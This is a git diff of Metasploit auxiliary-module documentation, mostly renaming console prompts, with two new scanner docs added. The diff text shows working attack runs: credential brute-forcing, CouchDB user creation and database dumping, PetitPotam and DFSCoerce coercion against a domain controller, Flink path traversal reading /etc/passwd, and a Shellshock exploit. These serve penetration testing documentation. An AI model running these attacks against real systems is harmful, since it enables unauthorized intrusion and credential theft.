auxiliary/scanner/afp/afp_server_info + msf auxiliary(scanner/afp/afp_server_info) > set rhosts 1.1.1.1 rhosts => 1.1.1.1 - msf5 auxiliary(scanner/afp/afp_server_info) > run + msf auxiliary(scanner/afp/afp_server_info) > run [*] 1.1.1.1:548 - AFP 1.1.1.1 Scanning... [*] 1.1.1.1:548 - AFP 1.1.1.1:548:548 AFP: diff --git a/documentation/modules/auxiliary/scanner/amqp/amqp_login.md b/documentation/modules/auxiliary/scanner/amqp/amqp_login.md index 21e34c1d42593..a7e91841ceac9 100644 --- a/documentation/modules/auxiliary/scanner/amqp/amqp_login.md +++ b/documentation/modules/auxiliary/scanner/amqp/amqp_login.md @@ -72,19 +72,19 @@ users can be added. The default credentials to login are `guest` / `guest`. A ne example. ``` -msf6 > use auxiliary/scanner/amqp/amqp_login -msf6 auxiliary(scanner/amqp/amqp_login) > set RHOSTS 192.168.159.128 +msf > use auxiliary/scanner/amqp/amqp_login +msf auxiliary(scanner/amqp/amqp_login) > set RHOSTS 192.168.159.128 RHOSTS => 192.168.159.128 -msf6 auxiliary(scanner/amqp/amqp_login) > set USERNAME admin +msf auxiliary(scanner/amqp/amqp_login) > set USERNAME admin USERNAME => admin -msf6 auxiliary(scanner/amqp/amqp_login) > set PASS_FILE data/wordlists/unix_passwords.txt +msf auxiliary(scanner/amqp/amqp_login) > set PASS_FILE data/wordlists/unix_passwords.txt PASS_FILE => data/wordlists/unix_passwords.txt -msf6 auxiliary(scanner/amqp/amqp_login) > set RPORT 5672 +msf auxiliary(scanner/amqp/amqp_login) > set RPORT 5672 RPORT => 5672 -msf6 auxiliary(scanner/amqp/amqp_login) > set SSL false +msf auxiliary(scanner/amqp/amqp_login) > set SSL false [!] Changing the SSL option's value may require changing RPORT! SSL => false -msf6 auxiliary(scanner/amqp/amqp_login) > run +msf auxiliary(scanner/amqp/amqp_login) > run [-] 192.168.159.128:5672 - LOGIN FAILED: admin:Password1! (Incorrect: ACCESS_REFUSED - Login was refused using authentication mechanism PLAIN. For details see the broker logfile.) [-] 192.168.159.128:5672 - LOGIN FAILED: admin:admin (Incorrect: ACCESS_REFUSED - Login was refused using authentication mechanism PLAIN. For details see the broker logfile.) @@ -94,5 +94,5 @@ msf6 auxiliary(scanner/amqp/amqp_login) > run [+] 192.168.159.128:5672 - Login Successful: admin:password [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed -msf6 auxiliary(scanner/amqp/amqp_login) > +msf auxiliary(scanner/amqp/amqp_login) > ``` diff --git a/documentation/modules/auxiliary/scanner/amqp/amqp_version.md b/documentation/modules/auxiliary/scanner/amqp/amqp_version.md index 7ada79edb0949..bf86e88bd3dad 100644 --- a/documentation/modules/auxiliary/scanner/amqp/amqp_version.md +++ b/documentation/modules/auxiliary/scanner/amqp/amqp_version.md @@ -21,10 +21,10 @@ specification, the "server-properties": **Running the scanner** ``` -msf6 > use auxiliary/scanner/amqp/amqp_version -msf6 auxiliary(scanner/amqp/amqp_version) > set RHOSTS 192.168.159.0/24 +msf > use auxiliary/scanner/amqp/amqp_version +msf auxiliary(scanner/amqp/amqp_version) > set RHOSTS 192.168.159.0/24 RHOSTS => 192.168.159.0/24 -msf6 auxiliary(scanner/amqp/amqp_version) > run +msf auxiliary(scanner/amqp/amqp_version) > run [*] 192.168.159.17:5671 - AMQP Detected (version:RabbitMQ 3.8.16) (cluster:rabbit@WIN-KHPRSGSRF30) (platform:Erlang/OTP 23.3) (authentication:AMQPLAIN, PLAIN) [*] 192.168.159.0/24:5671 - Scanned 51 of 256 hosts (19% complete) @@ -39,7 +39,7 @@ msf6 auxiliary(scanner/amqp/amqp_version) > run [*] 192.168.159.0/24:5671 - Scanned 233 of 256 hosts (91% complete) [*] 192.168.159.0/24:5671 - Scanned 256 of 256 hosts (100% complete) [*] Auxiliary module execution completed -msf6 auxiliary(scanner/amqp/amqp_version) > services +msf auxiliary(scanner/amqp/amqp_version) > services Services ======== @@ -49,7 +49,7 @@ host port proto name state info AIN) 192.168.159.128 5671 tcp amqps open AMQP Detected (version:RabbitMQ 3.11.10) (cluster:rabbit@my-rabbit) (platform:Erlang/OTP 25.3) (authentication:PLAIN, AMQPLAIN) -msf6 auxiliary(scanner/amqp/amqp_version) +msf auxiliary(scanner/amqp/amqp_version) ``` [1]: https://www.rabbitmq.com/amqp-0-9-1-reference.html#connection.start.server-properties diff --git a/documentation/modules/auxiliary/scanner/couchdb/couchdb_enum.md b/documentation/modules/auxiliary/scanner/couchdb/couchdb_enum.md index 6a76dc4f9f9df..9bec15a26c4d1 100644 --- a/documentation/modules/auxiliary/scanner/couchdb/couchdb_enum.md +++ b/documentation/modules/auxiliary/scanner/couchdb/couchdb_enum.md @@ -33,8 +33,8 @@ The following was done on Ubuntu 16.04, and is largely base on [1and1.com](https Dumping databases with `SERVERINFO` and `CREATEUSER` set: ``` -msf5 > use auxiliary/scanner/couchdb/couchdb_enum -msf5 auxiliary(scanner/couchdb/couchdb_enum) > options +msf > use auxiliary/scanner/couchdb/couchdb_enum +msf auxiliary(scanner/couchdb/couchdb_enum) > options Module options (auxiliary/scanner/couchdb/couchdb_enum): @@ -52,19 +52,19 @@ Module options (auxiliary/scanner/couchdb/couchdb_enum): TARGETURI /_all_dbs yes Path to list all the databases VHOST no HTTP server virtual host -msf5 auxiliary(scanner/couchdb/couchdb_enum) > set rhosts 127.0.0.1 +msf auxiliary(scanner/couchdb/couchdb_enum) > set rhosts 127.0.0.1 rhosts => 127.0.0.1 -msf5 auxiliary(scanner/couchdb/couchdb_enum) > set serverinfo true +msf auxiliary(scanner/couchdb/couchdb_enum) > set serverinfo true serverinfo => true -msf5 auxiliary(scanner/couchdb/couchdb_enum) > set createuser true +msf auxiliary(scanner/couchdb/couchdb_enum) > set createuser true createuser => true -msf5 auxiliary(scanner/couchdb/couchdb_enum) > set verbose true +msf auxiliary(scanner/couchdb/couchdb_enum) > set verbose true verbose => true -msf5 auxiliary(scanner/couchdb/couchdb_enum) > check +msf auxiliary(scanner/couchdb/couchdb_enum) > check [+] 127.0.0.1:5984 - Found CouchDB version 2.1.0 [*] 127.0.0.1:5984 - The target appears to be vulnerable. -msf5 auxiliary(scanner/couchdb/couchdb_enum) > run +msf auxiliary(scanner/couchdb/couchdb_enum) > run [+] 127.0.0.1:5984 - Found CouchDB version 2.1.0 [+] 127.0.0.1:5984 - User CQuXQnVwQAow created with password IJvoGDWAWzQo. Connect to http://127.0.0.1:5984/_utils/ to login. @@ -92,5 +92,5 @@ msf5 auxiliary(scanner/couchdb/couchdb_enum) > run [+] 127.0.0.1:5984 - _replicator saved in: /Users/wvu/.msf4/loot/20190107125002_default_127.0.0.1_couchdb._replica_022445.bin [+] 127.0.0.1:5984 - _users saved in: /Users/wvu/.msf4/loot/20190107125002_default_127.0.0.1_couchdb._users_671128.bin [*] Auxiliary module execution completed -msf5 auxiliary(scanner/couchdb/couchdb_enum) > +msf auxiliary(scanner/couchdb/couchdb_enum) > ``` diff --git a/documentation/modules/auxiliary/scanner/couchdb/couchdb_login.md b/documentation/modules/auxiliary/scanner/couchdb/couchdb_login.md index ce4d9c8f3e6d2..fd03cb1a6fd09 100644 --- a/documentation/modules/auxiliary/scanner/couchdb/couchdb_login.md +++ b/documentation/modules/auxiliary/scanner/couchdb/couchdb_login.md @@ -52,14 +52,14 @@ The following was done on Ubuntu 16.04, and is largely based on [1and1.com](http A run against the configuration from these docs ``` - msf5 > use auxiliary/scanner/couchdb/couchdb_login - msf5 auxiliary(scanner/couchdb/couchdb_login) > set rhosts 1.1.1.1 + msf > use auxiliary/scanner/couchdb/couchdb_login + msf auxiliary(scanner/couchdb/couchdb_login) > set rhosts 1.1.1.1 rhosts => 1.1.1.1 - msf5 auxiliary(scanner/couchdb/couchdb_login) > set username anna + msf auxiliary(scanner/couchdb/couchdb_login) > set username anna username => anna - msf5 auxiliary(scanner/couchdb/couchdb_login) > set password secret + msf auxiliary(scanner/couchdb/couchdb_login) > set password secret password => secret - msf5 auxiliary(scanner/couchdb/couchdb_login) > run + msf auxiliary(scanner/couchdb/couchdb_login) > run [*] 1.1.1.1:5984 - [001/305] - Trying username:'connect' with password:'connect' [*] 1.1.1.1:5984 - [002/305] - Trying username:'sitecom' with password:'sitecom' diff --git a/documentation/modules/auxiliary/scanner/dcerpc/dfscoerce.md b/documentation/modules/auxiliary/scanner/dcerpc/dfscoerce.md index f46d7d0978fd5..c1515943c0dd9 100644 --- a/documentation/modules/auxiliary/scanner/dcerpc/dfscoerce.md +++ b/documentation/modules/auxiliary/scanner/dcerpc/dfscoerce.md @@ -29,23 +29,23 @@ In this case, Metasploit is hosting an SMB capture server to log the incoming cr account. The target is a 64-bit Windows Server 2019 domain controller. ``` -msf6 > use auxiliary/server/capture/smb -msf6 auxiliary(server/capture/smb) > run +msf > use auxiliary/server/capture/smb +msf auxiliary(server/capture/smb) > run [*] Auxiliary module running as background job 0. -msf6 auxiliary(server/capture/smb) > +msf auxiliary(server/capture/smb) > [*] Server is running. Listening on 0.0.0.0:445 [*] Server started. -msf6 auxiliary(server/capture/smb) > use auxiliary/scanner/dcerpc/dfscoerce -msf6 auxiliary(scanner/dcerpc/dfscoerce) > set RHOSTS 192.168.159.96 +msf auxiliary(server/capture/smb) > use auxiliary/scanner/dcerpc/dfscoerce +msf auxiliary(scanner/dcerpc/dfscoerce) > set RHOSTS 192.168.159.96 RHOSTS => 192.168.159.96 -msf6 auxiliary(scanner/dcerpc/dfscoerce) > set VERBOSE true +msf auxiliary(scanner/dcerpc/dfscoerce) > set VERBOSE true VERBOSE => true -msf6 auxiliary(scanner/dcerpc/dfscoerce) > set SMBUser aliddle +msf auxiliary(scanner/dcerpc/dfscoerce) > set SMBUser aliddle SMBUser => aliddle -msf6 auxiliary(scanner/dcerpc/dfscoerce) > set SMBPass Password1 +msf auxiliary(scanner/dcerpc/dfscoerce) > set SMBPass Password1 SMBPass => Password1 -msf6 auxiliary(scanner/dcerpc/dfscoerce) > run +msf auxiliary(scanner/dcerpc/dfscoerce) > run [*] 192.168.159.96:445 - Connecting to Distributed File System (DFS) Namespace Management Protocol [*] 192.168.159.96:445 - Binding to \netdfs... @@ -58,5 +58,5 @@ msf6 auxiliary(scanner/dcerpc/dfscoerce) > run [+] 192.168.159.96:445 - Server responded with ERROR_ACCESS_DENIED which indicates that the attack was successful [*] 192.168.159.96:445 - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed -msf6 auxiliary(scanner/dcerpc/dfscoerce) > +msf auxiliary(scanner/dcerpc/dfscoerce) > ``` diff --git a/documentation/modules/auxiliary/scanner/dcerpc/nrpc_enumusers.md b/documentation/modules/auxiliary/scanner/dcerpc/nrpc_enumusers.md index ae7a7b34c7a28..74cd86533dd3d 100644 --- a/documentation/modules/auxiliary/scanner/dcerpc/nrpc_enumusers.md +++ b/documentation/modules/auxiliary/scanner/dcerpc/nrpc_enumusers.md @@ -51,11 +51,11 @@ targeting a single Domain Controller to identify valid domain user accounts. Create a new `./users.txt` file, then run the module: ``` -msf6 auxiliary(gather/nrpc_enumusers) > set RHOSTS 192.168.177.177 +msf auxiliary(gather/nrpc_enumusers) > set RHOSTS 192.168.177.177 RHOSTS => 192.168.177.177 -msf6 auxiliary(gather/nrpc_enumusers) > set USER_FILE users.txt +msf auxiliary(gather/nrpc_enumusers) > set USER_FILE users.txt USER_FILE => users.txt -msf6 auxiliary(gather/nrpc_enumusers) > run +msf auxiliary(gather/nrpc_enumusers) > run [*] 192.168.177.177: - Connecting to the endpoint mapper service... [*] 192.168.177.177: - Binding to 12345678-1234-abcd-ef00-01234567cffb:1.0@ncacn_ip_tcp:192.168.177.177[49664]... @@ -75,5 +75,5 @@ msf6 auxiliary(gather/nrpc_enumusers) > run [-] 192.168.177.177: - Kaorz does not exist [*] 192.168.177.177: - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed -msf6 auxiliary(gather/nrpc_enumusers) > +msf auxiliary(gather/nrpc_enumusers) > ``` diff --git a/documentation/modules/auxiliary/scanner/dcerpc/petitpotam.md b/documentation/modules/auxiliary/scanner/dcerpc/petitpotam.md index 1504fdad1d6e1..2792c054d4d73 100644 --- a/documentation/modules/auxiliary/scanner/dcerpc/petitpotam.md +++ b/documentation/modules/auxiliary/scanner/dcerpc/petitpotam.md @@ -33,18 +33,18 @@ In this case, Metasploit is hosting an SMB capture server to log the incoming cr account. The target is a 64-bit Windows Server 2019 domain controller. ``` -msf6 > use auxiliary/server/capture/smb -msf6 auxiliary(server/capture/smb) > run +msf > use auxiliary/server/capture/smb +msf auxiliary(server/capture/smb) > run [*] Auxiliary module running as background job 0. -msf6 auxiliary(server/capture/smb) > +msf auxiliary(server/capture/smb) > [*] Server is running. Listening on 0.0.0.0:445 -msf6 auxiliary(server/capture/smb) > use auxiliary/scanner/dcerpc/petitpotam -msf6 auxiliary(scanner/dcerpc/petitpotam) > set RHOSTS 192.168.159.96 +msf auxiliary(server/capture/smb) > use auxiliary/scanner/dcerpc/petitpotam +msf auxiliary(scanner/dcerpc/petitpotam) > set RHOSTS 192.168.159.96 RHOSTS => 192.168.159.96 -msf6 auxiliary(scanner/dcerpc/petitpotam) > set VERBOSE true +msf auxiliary(scanner/dcerpc/petitpotam) > set VERBOSE true VERBOSE => true -msf6 auxiliary(scanner/dcerpc/petitpotam) > run +msf auxiliary(scanner/dcerpc/petitpotam) > run [*] 192.168.159.96:445 - Binding to c681d488-d850-11d0-8c52-00c04fd90f7e:1.0@ncacn_np:192.168.159.96[\lsarpc] ... [*] 192.168.159.96:445 - Bound to c681d488-d850-11d0-8c52-00c04fd90f7e:1.0@ncacn_np:192.168.159.96[\lsarpc] ... @@ -58,5 +58,5 @@ msf6 auxiliary(scanner/dcerpc/petitpotam) > run [+] 192.168.159.96:445 - Server responded with ERROR_BAD_NETPATH which indicates that the attack was successful [*] 192.168.159.96:445 - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed -msf6 auxiliary(scanner/dcerpc/petitpotam) > +msf auxiliary(scanner/dcerpc/petitpotam) > ``` diff --git a/documentation/modules/auxiliary/scanner/dcerpc/windows_deployment_services.md b/documentation/modules/auxiliary/scanner/dcerpc/windows_deployment_services.md index a342b1958bfab..01b1adfda2275 100644 --- a/documentation/modules/auxiliary/scanner/dcerpc/windows_deployment_services.md +++ b/documentation/modules/auxiliary/scanner/dcerpc/windows_deployment_services.md @@ -24,7 +24,7 @@ More information can be found on the [Rapid7 Vulnerability & Exploit Database pa [*] Binding to 1A927394-352E-4553-AE3F-7CF4AAFCA620:1.0:71710533-beba-4937-8319-b5dbef9ccc36:1@ncacn_ip_tcp:192.168.5.1[5040] ... [+] Bound to 1A927394-352E-4553-AE3F-7CF4AAFCA620:1.0:71710533-beba-4937-8319-b5dbef9ccc36:1@ncacn_ip_tcp:192.168.5.1[5040] [*] Sending X64 Client Unattend request ... - [*] Raw version of X64 saved as: C:/Documents and Settings/user/.msf5/loot/20121213104745_default_192.168.5.1_windows.unattend_399005.txt + [*] Raw version of X64 saved as: C:/Documents and Settings/user/.msf/loot/20121213104745_default_192.168.5.1_windows.unattend_399005.txt [+] Retrieved wds credentials for X64 [*] Sending X86 Client Unattend request ... [*] Sending IA64 Client Unattend request ... diff --git a/documentation/modules/auxiliary/scanner/discovery/ipv6_multicast_ping.md b/documentation/modules/auxiliary/scanner/discovery/ipv6_multicast_ping.md new file mode 100644 index 0000000000000..854ecfae810e0 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/discovery/ipv6_multicast_ping.md @@ -0,0 +1,48 @@ +## Description + +This module is not intended to exploit a vulnerability, but rather to perform host discovery on IPv6-enabled local networks. It sends ICMPv6 Echo Requests to several well-known multicast addresses (e.g., FF02::1) and listens for any ICMPv6-based response. + +This technique helps identify active IPv6 hosts and services, particularly when traditional IPv4 reconnaissance is limited or disabled. All responses — including Echo Replies, Neighbor Solicitations, and others — are valid evidence of a live host. + +## Verification Steps + +1. Do: `use auxiliary/scanner/discovery/ipv6_neighbor` +2. Do: `set RHOSTS [IP]` +3. Do: `set SHOST [IP]` +4. Do: `run` + +## Scenarios +``` +msf auxiliary(scanner/discovery/ipv6_multicast_ping) > set SHOST 10.0.2.4 +SHOST => 10.0.2.4 +msf auxiliary(scanner/discovery/ipv6_multicast_ping) > set RHOST 10.0.2.2-10RHOST => 10.0.2.2-10 +msf auxiliary(scanner/discovery/ipv6_multicast_ping) > run +[*] Running module against 10.0.2.2 +[*] Sending multicast pings... +[*] Listening for responses... +[*] Running module against 10.0.2.3 +[*] Sending multicast pings... +[*] Listening for responses... +[*] Running module against 10.0.2.4 +[*] Sending multicast pings... +[*] Listening for responses... +[*] Running module against 10.0.2.5 +[*] Sending multicast pings... +[*] Listening for responses... +[*] Running module against 10.0.2.6 +[*] Sending multicast pings... +[*] Listening for responses... +[*] Running module against 10.0.2.7 +[*] Sending multicast pings... +[*] Listening for responses... +[*] Running module against 10.0.2.8 +[*] Sending multicast pings... +[*] Listening for responses... +[*] Running module against 10.0.2.9 +[*] Sending multicast pings... +[*] Listening for responses... +[*] Running module against 10.0.2.10 +[*] Sending multicast pings... +[*] Listening for responses... +[*] Auxiliary module execution completed +``` diff --git a/documentation/modules/auxiliary/scanner/discovery/udp_probe.md b/documentation/modules/auxiliary/scanner/discovery/udp_probe.md new file mode 100644 index 0000000000000..8a7f673b1f037 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/discovery/udp_probe.md @@ -0,0 +1,22 @@ +## Description + +Detect common UDP services using sequential probes. + +## Verification Steps + +1. Do: `use auxiliary/scanner/discovery/udp_probe` +2. Do: `set RHOSTS [IP]` +5. Do: `set THREADS [number of threads]` +6. Do: `run` + +## Scenarios + +``` +msf auxiliary(scanner/discovery/udp_probe) > use modules/auxiliary/scanner/discovery/udp_probe +msf auxiliary(scanner/discovery/udp_probe) > set RHOSTS 10.0.3.5 +RHOSTS => 10.0.3.5 +msf auxiliary(scanner/discovery/udp_probe) > run +[+] Discovered SNMP on 10.0.3.5:161 (Hardware: Intel64 Family 6 Model 142 Stepping 12 AT/AT COMPATIBLE - Software: Windows Version 6.1 (Build 7601 Multiprocessor Free)) +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` diff --git a/documentation/modules/auxiliary/scanner/etcd/open_key_scanner.md b/documentation/modules/auxiliary/scanner/etcd/open_key_scanner.md index 2bf496627fd38..8801a9b189d48 100644 --- a/documentation/modules/auxiliary/scanner/etcd/open_key_scanner.md +++ b/documentation/modules/auxiliary/scanner/etcd/open_key_scanner.md @@ -29,10 +29,10 @@ unauthenticated users access to the data stored via HTTP API. ### etcd 3.2.15 on CentOS 7.1 ``` -msf5 > use auxiliary/scanner/etcd/open_key_scanner -msf5 auxiliary(scanner/etcd/open_key_scanner) > set rhosts 2.2.2.2 +msf > use auxiliary/scanner/etcd/open_key_scanner +msf auxiliary(scanner/etcd/open_key_scanner) > set rhosts 2.2.2.2 rhosts => 2.2.2.2 -msf5 auxiliary(scanner/etcd/open_key_scanner) > run +msf auxiliary(scanner/etcd/open_key_scanner) > run [+] 2.2.2.2:2379 Version: {"etcdserver":"3.2.15","etcdcluster":"3.2.0"} @@ -58,7 +58,7 @@ host service type name content info path ---- ------- ---- ---- ------- ---- ---- 2.2.2.2 etcd.data etcd.keys text/plain etcd keys /root/.msf4/loot/20180325144351_default_2.2.2.2_etcd.data_425280.txt -msf5 auxiliary(scanner/etcd/open_key_scanner) > services +msf auxiliary(scanner/etcd/open_key_scanner) > services Services ======== @@ -70,10 +70,10 @@ host port proto name state info ### etcd in Docker ``` -msf5 > use auxiliary/scanner/etcd/open_key_scanner -msf5 auxiliary(scanner/etcd/open_key_scanner) > set RHOSTS 127.0.0.1 +msf > use auxiliary/scanner/etcd/open_key_scanner +msf auxiliary(scanner/etcd/open_key_scanner) > set RHOSTS 127.0.0.1 RHOSTS => 127.0.0.1 -msf5 auxiliary(scanner/etcd/open_key_scanner) > run +msf auxiliary(scanner/etcd/open_key_scanner) > run [+] 127.0.0.1:2379 Version: {"etcdserver":"3.1.3","etcdcluster":"3.1.0"} @@ -85,7 +85,7 @@ Data: { } [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed -msf5 auxiliary(scanner/etcd/open_key_scanner) > loot +msf auxiliary(scanner/etcd/open_key_scanner) > loot Loot ==== @@ -94,7 +94,7 @@ host service type name content info path ---- ------- ---- ---- ------- ---- ---- 127.0.0.1 etcd.data etcd.keys text/json etcd keys /root/.msf4/loot/20180328092245_default_127.0.0.1_etcd.data_260058.txt -msf5 auxiliary(scanner/etcd/open_key_scanner) > services +msf auxiliary(scanner/etcd/open_key_scanner) > services Services ======== diff --git a/documentation/modules/auxiliary/scanner/etcd/version.md b/documentation/modules/auxiliary/scanner/etcd/version.md index 13b42f78d357e..8cd856c7683e6 100644 --- a/documentation/modules/auxiliary/scanner/etcd/version.md +++ b/documentation/modules/auxiliary/scanner/etcd/version.md @@ -20,15 +20,15 @@ etcd is a distributed reliable key-value store. It exposes and API from which y ### etcd in Docker ``` -msf5 > use auxiliary/scanner/etcd/version -msf5 auxiliary(scanner/etcd/version) > set RHOSTS localhost +msf > use auxiliary/scanner/etcd/version +msf auxiliary(scanner/etcd/version) > set RHOSTS localhost RHOSTS => localhost -msf5 auxiliary(scanner/etcd/version) > run +msf auxiliary(scanner/etcd/version) > run [+] 127.0.0.1:2379 : {"etcdserver"=>"3.1.3", "etcdcluster"=>"3.1.0"} [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed -msf5 auxiliary(scanner/etcd/version) > services +msf auxiliary(scanner/etcd/version) > services Services ======== diff --git a/documentation/modules/auxiliary/scanner/h323/h323_version.md b/documentation/modules/auxiliary/scanner/h323/h323_version.md index 0ec269de3962b..24634789ea62f 100644 --- a/documentation/modules/auxiliary/scanner/h323/h323_version.md +++ b/documentation/modules/auxiliary/scanner/h323/h323_version.md @@ -5,10 +5,10 @@ This module scans for h.323 servers and determines the version and information a ## Usage ``` -msf5 auxiliary(scanner/sip/options) > use auxiliary/scanner/h323/h323_version -msf5 auxiliary(scanner/h323/h323_version) > set rhosts 1.1.1.1 +msf auxiliary(scanner/sip/options) > use auxiliary/scanner/h323/h323_version +msf auxiliary(scanner/h323/h323_version) > set rhosts 1.1.1.1 rhosts => 1.1.1.1 -msf5 auxiliary(scanner/h323/h323_version) > run +msf auxiliary(scanner/h323/h323_version) > run [+] 1.1.1.1:1720 - 1.1.1.1:1720 Protocol: 3 VendorID: 0x6100023c VersionID: v.5.4 ProductID: Gateway [*] 1.1.1.1:1720 - Scanned 1 of 1 hosts (100% complete) diff --git a/documentation/modules/auxiliary/scanner/http/apache_flink_jobmanager_traversal.md b/documentation/modules/auxiliary/scanner/http/apache_flink_jobmanager_traversal.md index 4a585b34c9309..e5526da904247 100644 --- a/documentation/modules/auxiliary/scanner/http/apache_flink_jobmanager_traversal.md +++ b/documentation/modules/auxiliary/scanner/http/apache_flink_jobmanager_traversal.md @@ -42,21 +42,21 @@ Depth for path traversal (Default: `10`) ### Apache Flink version 1.11.2 on Ubuntu 18.04.4 ``` -msf6 > use auxiliary/scanner/http/apache_flink_jobmanager_traversal -msf6 auxiliary(scanner/http/apache_flink_jobmanager_traversal) > set rhosts 172.16.191.195 +msf > use auxiliary/scanner/http/apache_flink_jobmanager_traversal +msf auxiliary(scanner/http/apache_flink_jobmanager_traversal) > set rhosts 172.16.191.195 rhosts => 172.16.191.195 -msf6 auxiliary(scanner/http/apache_flink_jobmanager_traversal) > check +msf auxiliary(scanner/http/apache_flink_jobmanager_traversal) > check [*] 172.16.191.195:8081 - The target appears to be vulnerable. Apache Flink version 1.11.2 appears vulnerable. -msf6 auxiliary(scanner/http/apache_flink_jobmanager_traversal) > set filepath /etc/passwd +msf auxiliary(scanner/http/apache_flink_jobmanager_traversal) > set filepath /etc/passwd filepath => /etc/passwd -msf6 auxiliary(scanner/http/apache_flink_jobmanager_traversal) > run +msf auxiliary(scanner/http/apache_flink_jobmanager_traversal) > run [*] Downloading /etc/passwd ... [+] Downloaded /etc/passwd (2401 bytes) [+] File /etc/passwd saved in: /root/.msf4/loot/20210216114934_default_172.16.191.195_apache.flink.job_754087.txt [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed -msf6 auxiliary(scanner/http/apache_flink_jobmanager_traversal) > cat /root/.msf4/loot/20210216114934_default_172.16.191.195_apache.flink.job_754087.txt +msf auxiliary(scanner/http/apache_flink_jobmanager_traversal) > cat /root/.msf4/loot/20210216114934_default_172.16.191.195_apache.flink.job_754087.txt [*] exec: cat /root/.msf4/loot/20210216114934_default_172.16.191.195_apache.flink.job_754087.txt root:x:0:0:root:/root:/bin/bash @@ -100,6 +100,6 @@ geoclue:x:119:124::/var/lib/geoclue:/usr/sbin/nologin gnome-initial-setup:x:120:65534::/run/gnome-initial-setup/:/bin/false gdm:x:121:125:Gnome Display Manager:/var/lib/gdm3:/bin/false user:x:1000:1000:user,,,:/home/user:/bin/bash -msf6 auxiliary(scanner/http/apache_flink_jobmanager_traversal) > +msf auxiliary(scanner/http/apache_flink_jobmanager_traversal) > ``` diff --git a/documentation/modules/auxiliary/scanner/http/apache_mod_cgi_bash_env.md b/documentation/modules/auxiliary/scanner/http/apache_mod_cgi_bash_env.md index dcce136196244..08b3d64dc4657 100644 --- a/documentation/modules/auxiliary/scanner/http/apache_mod_cgi_bash_env.md +++ b/documentation/modules/auxiliary/scanner/http/apache_mod_cgi_bash_env.md @@ -95,12 +95,12 @@ This is HTTP method used by the module. The default setting is `GET`. ### Ubuntu 12.04.5 LTS on Apache 2.2.22 ``` -msf5 > use auxiliary/scanner/http/apache_mod_cgi_bash_env -msf5 auxiliary(scanner/http/apache_mod_cgi_bash_env) > set RHOSTS 172.16.131.134 +msf > use auxiliary/scanner/http/apache_mod_cgi_bash_env +msf auxiliary(scanner/http/apache_mod_cgi_bash_env) > set RHOSTS 172.16.131.134 RHOSTS => 172.16.131.134 -msf5 auxiliary(scanner/http/apache_mod_cgi_bash_env) > set TARGETURI /cgi-bin/test.sh +msf auxiliary(scanner/http/apache_mod_cgi_bash_env) > set TARGETURI /cgi-bin/test.sh TARGETURI => /cgi-bin/test.sh -msf5 auxiliary(scanner/http/apache_mod_cgi_bash_env) > exploit +msf auxiliary(scanner/http/apache_mod_cgi_bash_env) > exploit [+] uid=33(www-data) gid=33(www-data) groups=33(www-data) [*] Scanned 1 of 1 hosts (100% complete) diff --git a/documentation/modules/auxiliary/scanner/http/apache_nifi_login.md b/documentation/modules/auxiliary/scanner/http/apache_nifi_login.md index b90ff149545bc..8b87c153d5116 100644 --- a/documentation/modules/auxiliary/scanner/http/apache_nifi_login.md +++ b/documentation/modules/auxiliary/scanner/http/apache_nifi_login.md @@ -49,22 +49,22 @@ docker logs | grep Generated ### Docker image of Apache NiFi 1.18.0 ``` -msf6 > use auxiliary/scanner/http/nifi_login -msf6 auxiliary(scanner/http/nifi_login) > set rhosts 127.0.0.1 +msf > use auxiliary/scanner/http/nifi_login +msf auxiliary(scanner/http/nifi_login) > set rhosts 127.0.0.1 rhosts => 127.0.0.1 -msf6 auxiliary(scanner/http/nifi_login) > set username 21acf672-7935-441c-a38b-b52643f029bf +msf auxiliary(scanner/http/nifi_login) > set username 21acf672-7935-441c-a38b-b52643f029bf username => 21acf672-7935-441c-a38b-b52643f029bf -msf6 auxiliary(scanner/http/nifi_login) > set password bad +msf auxiliary(scanner/http/nifi_login) > set password bad password => bad -msf6 auxiliary(scanner/http/nifi_login) > run +msf auxiliary(scanner/http/nifi_login) > run [*] Checking 127.0.0.1 [-] 127.0.0.1:8443 - Apache NiFi - Failed to login as '21acf672-7935-441c-a38b-b52643f029bf' with password 'bad' [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed -msf6 auxiliary(scanner/http/nifi_login) > set password R4+xdl8P9Phrqne4NxHDponQs5X9ktn2 +msf auxiliary(scanner/http/nifi_login) > set password R4+xdl8P9Phrqne4NxHDponQs5X9ktn2 password => R4+xdl8P9Phrqne4NxHDponQs5X9ktn2 -msf6 auxiliary(scanner/http/nifi_login) > run +msf auxiliary(scanner/http/nifi_login) > run [*] Checking 127.0.0.1 [+] 127.0.0.1:8443 - Apache NiFi - Login successful as '21acf672-7935-441c-a38b-b52643f029bf' with password 'R4+xdl8P9Phrqne4NxHDponQs5X9ktn2' @@ -74,32 +74,32 @@ msf6 auxiliary(scanner/http/nifi_login) > run ### Docker image of Apache NiFi 1.21.0 ``` -msf6 > use auxiliary/scanner/http/apache_nifi_login -msf6 auxiliary(scanner/http/apache_nifi_login) > set RHOST 127.0.0.1 +msf > use auxiliary/scanner/http/apache_nifi_login +msf auxiliary(scanner/http/apache_nifi_login) > set RHOST 127.0.0.1 RHOST => 127.0.0.1 -msf6 auxiliary(scanner/http/apache_nifi_login) > set RPORT 8443 +msf auxiliary(scanner/http/apache_nifi_login) > set RPORT 8443 RPORT => 8443 -msf6 auxiliary(scanner/http/apache_nifi_login) > set USERNAME test +msf auxiliary(scanner/http/apache_nifi_login) > set USERNAME test USERNAME => test -msf6 auxiliary(scanner/http/apache_nifi_login) > set PASSWORD test +msf auxiliary(scanner/http/apache_nifi_login) > set PASSWORD test PASSWORD => test -msf6 auxiliary(scanner/http/apache_nifi_login) > run +msf auxiliary(scanner/http/apache_nifi_login) > run [*] Checking 127.0.0.1 [-] 127.0.0.1:8443 - Apache NiFi - Failed to login as 'test' with password 'test' [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed -msf6 auxiliary(scanner/http/apache_nifi_login) > set USERNAME a43c5a33-1635-46aa-8773-ef65f572fa0e +msf 